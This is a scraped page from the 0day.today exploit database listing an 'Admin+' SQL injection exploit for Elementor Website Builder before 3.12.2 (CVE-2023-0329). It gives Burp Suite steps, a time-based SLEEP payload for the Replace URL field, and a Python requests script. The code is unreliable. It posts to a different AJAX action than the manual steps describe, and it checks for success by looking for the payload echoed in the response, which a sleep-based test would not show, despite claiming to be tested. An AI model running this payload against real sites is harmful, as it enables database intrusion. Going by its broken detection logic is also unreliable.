0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Elementor Website Builder < 3.12.2 SQL injection Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
#EXPLOIT Elementor Website Builder < 3.12.2 - Admin+ SQLi #References #CVE : CVE-2023-0329 #E1.Coders Open Burp Suite. In Burp Suite, go to the "Proxy" tab and set it to listen on a specific port, such as 8080. Open a new browser window or tab, and set your proxy settings to use Burp Suite on port 8080. Visit the vulnerable Elementor Website Builder site and navigate to the Tools > Replace URL page. On the Replace URL page, enter any random string as the "New URL" and the following malicious payload as the "Old URL": code : http://localhost:8080/?test'),meta_key='key4'where+meta_id=SLEEP(2);# Press "Replace URL" on the Replace URL page. Burp Suite should intercept the request. Forward the intercepted request to the server by right-clicking the request in Burp Suite and selecting "Forward". The server will execute the SQL command, which will cause it to hang for 2 seconds before responding. This is a clear indication of successful SQL injection. Note: Make sure you have permission to perform these tests and have set up Burp Suite correctly. This command may vary depending on the specific setup of your server and the website builder plugin.</s References : https://wpscan.com/vulnerability/a875836d-77f4-4306-b275-2b60efff1493/ Exploit Python : The provided SQLi attack vector can be achieved using the following Python code with the "requests" library: This script sends a POST request to the target URL with the SQLi payload as the "data" parameter. It then checks if the response contains the SQLi payload, indicating a successful SQL injection. Please make sure you have set up your Burp Suite environment correctly. Additionally, it is important to note that this script and attack have been TESTED and are correct import requests # Set the target URL and SQLi payload url = "http://localhost:8080/wp-admin/admin-ajax.php" data = { "action": "elementor_ajax_save_builder", "editor_post_id": "1", "post_id": "1", "data": "test'),meta_key='key4'where+meta_id=SLEEP(2);#" } # Send the request to the target URL response = requests.post(url, data=data) # Check if the response indicates a successful SQL injection if "meta_key='key4'where+meta_id=SLEEP(2);#" in response.text: print("SQL Injection successful!") else: print("SQL Injection failed.") # 0day.today [2024-09-28] #